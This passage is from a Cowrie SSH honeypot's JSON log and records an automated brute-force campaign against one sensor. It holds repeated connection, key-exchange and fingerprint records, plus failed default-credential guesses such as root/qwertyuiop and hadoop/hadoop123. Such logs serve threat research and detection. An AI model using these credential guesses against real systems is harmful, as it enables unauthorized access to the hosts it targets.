sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:35.241551Z","src_ip":"192.109.200.237","session":"7ac901b0f279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:35.488116Z","src_ip":"192.109.200.237","session":"7ac901b0f279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:36.573459Z","src_ip":"192.109.200.237","session":"7ac901b0f279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57362,"dst_ip":"159.203.135.109","dst_port":22,"session":"86c4b3b2755b","protocol":"ssh","message":"New connection: 192.109.200.237:57362 (159.203.135.109:22) [session: 86c4b3b2755b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:38.376673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:38.401309Z","src_ip":"192.109.200.237","session":"86c4b3b2755b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:38.459584Z","src_ip":"192.109.200.237","session":"86c4b3b2755b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:38.777744Z","src_ip":"192.109.200.237","session":"86c4b3b2755b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:39.862763Z","src_ip":"192.109.200.237","session":"86c4b3b2755b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38792,"dst_ip":"159.203.135.109","dst_port":22,"session":"cce84c24dc7d","protocol":"ssh","message":"New connection: 192.109.200.237:38792 (159.203.135.109:22) [session: cce84c24dc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:41.612810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:41.617420Z","src_ip":"192.109.200.237","session":"cce84c24dc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:41.700377Z","src_ip":"192.109.200.237","session":"cce84c24dc7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:41.954731Z","src_ip":"192.109.200.237","session":"cce84c24dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:43.097548Z","src_ip":"192.109.200.237","session":"cce84c24dc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38794,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9faab8c80a","protocol":"ssh","message":"New connection: 192.109.200.237:38794 (159.203.135.109:22) [session: 8d9faab8c80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:44.660994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:44.665695Z","src_ip":"192.109.200.237","session":"8d9faab8c80a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:44.747864Z","src_ip":"192.109.200.237","session":"8d9faab8c80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:44.997841Z","src_ip":"192.109.200.237","session":"8d9faab8c80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:46.083360Z","src_ip":"192.109.200.237","session":"8d9faab8c80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38806,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b26590a90d","protocol":"ssh","message":"New connection: 192.109.200.237:38806 (159.203.135.109:22) [session: 31b26590a90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:47.902807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:47.907450Z","src_ip":"192.109.200.237","session":"31b26590a90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:47.992602Z","src_ip":"192.109.200.237","session":"31b26590a90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:48.242017Z","src_ip":"192.109.200.237","session":"31b26590a90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:49.328328Z","src_ip":"192.109.200.237","session":"31b26590a90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39688,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f8c5d86481","protocol":"ssh","message":"New connection: 192.109.200.237:39688 (159.203.135.109:22) [session: 88f8c5d86481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:51.041924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:51.046179Z","src_ip":"192.109.200.237","session":"88f8c5d86481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:51.128031Z","src_ip":"192.109.200.237","session":"88f8c5d86481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:51.371927Z","src_ip":"192.109.200.237","session":"88f8c5d86481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:52.455941Z","src_ip":"192.109.200.237","session":"88f8c5d86481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39702,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f64d8652386","protocol":"ssh","message":"New connection: 192.109.200.237:39702 (159.203.135.109:22) [session: 0f64d8652386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:54.191556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:54.196661Z","src_ip":"192.109.200.237","session":"0f64d8652386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:54.279008Z","src_ip":"192.109.200.237","session":"0f64d8652386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:54.661558Z","src_ip":"192.109.200.237","session":"0f64d8652386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:55.747215Z","src_ip":"192.109.200.237","session":"0f64d8652386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39708,"dst_ip":"159.203.135.109","dst_port":22,"session":"c256ac5d8e40","protocol":"ssh","message":"New connection: 192.109.200.237:39708 (159.203.135.109:22) [session: c256ac5d8e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:57.503851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:57.509251Z","src_ip":"192.109.200.237","session":"c256ac5d8e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:57.591665Z","src_ip":"192.109.200.237","session":"c256ac5d8e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:57.838156Z","src_ip":"192.109.200.237","session":"c256ac5d8e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:58.923995Z","src_ip":"192.109.200.237","session":"c256ac5d8e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51112,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ef8b2c10fa","protocol":"ssh","message":"New connection: 192.109.200.237:51112 (159.203.135.109:22) [session: 26ef8b2c10fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:00.604803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:00.609801Z","src_ip":"192.109.200.237","session":"26ef8b2c10fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:00.692353Z","src_ip":"192.109.200.237","session":"26ef8b2c10fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:00.939519Z","src_ip":"192.109.200.237","session":"26ef8b2c10fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":47484,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c5e57ba2c1b","protocol":"ssh","message":"New connection: 103.149.170.125:47484 (159.203.135.109:22) [session: 6c5e57ba2c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:01.700936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:01.706602Z","src_ip":"103.149.170.125","session":"6c5e57ba2c1b","protocol":"ssh"}
